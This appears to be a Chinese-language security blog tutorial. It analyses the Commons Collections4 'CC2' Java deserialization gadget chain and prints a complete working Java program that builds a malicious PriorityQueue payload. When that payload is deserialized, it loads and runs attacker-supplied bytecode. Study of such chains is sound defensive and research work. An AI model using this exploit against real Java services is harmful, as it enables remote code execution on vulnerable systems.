LOADING

加载过慢请开启缓存 浏览器默认开启

CC2分析

2024/8/19 Java

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。

CC2链用到了commons-collections4,需要在pom改一下

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

CC2和CC4十分相似,先看一下CC2的利用链

PriorityQueue#readObject -> TransformingComparator#compare -->
InvokerTransformer#transform --> TemplatesImpl.newTransformer() -->
defineClass->newInstance

前半部分使用到了CC4的两个类,后半部分使用的InvokerTransformer与CC3的后半段拼接起来

先复制过来CC3的动态类加载

        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"a");

        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
        byte[][] bytecodes = {bytecode};
        bytecodesField.set(templates,bytecodes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

然后使用InvokerTransformer调用newTransformer方法

        InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

复制过来CC4的前半部分进行拼接,修改部分参数

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class chainc = transformingComparator.getClass();
        Field iTransformers = chainc.getDeclaredField("transformer");
        iTransformers.setAccessible(true);
        iTransformers.set(transformingComparator,newTransformer);

priorityQueue.add传递了两个对象,传递的对象保存在PriorityQueue#queue变量

heapify方法第一次取的是queue[i],所以需要在第一次add传递templates

image-1708443931794

完整代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2_Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"a");

        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
        byte[][] bytecodes = {bytecode};
        bytecodesField.set(templates,bytecodes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class chainc = transformingComparator.getClass();
        Field iTransformers = chainc.getDeclaredField("transformer");
        iTransformers.setAccessible(true);
        iTransformers.set(transformingComparator,newTransformer);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }


    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
        System.out.println("serialize");
    }

    public static Object unserialize(String str) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
        Object obj = objectInputStream.readObject();
        System.out.println("unserialize");
        return obj;
    }
}

image-1708443943556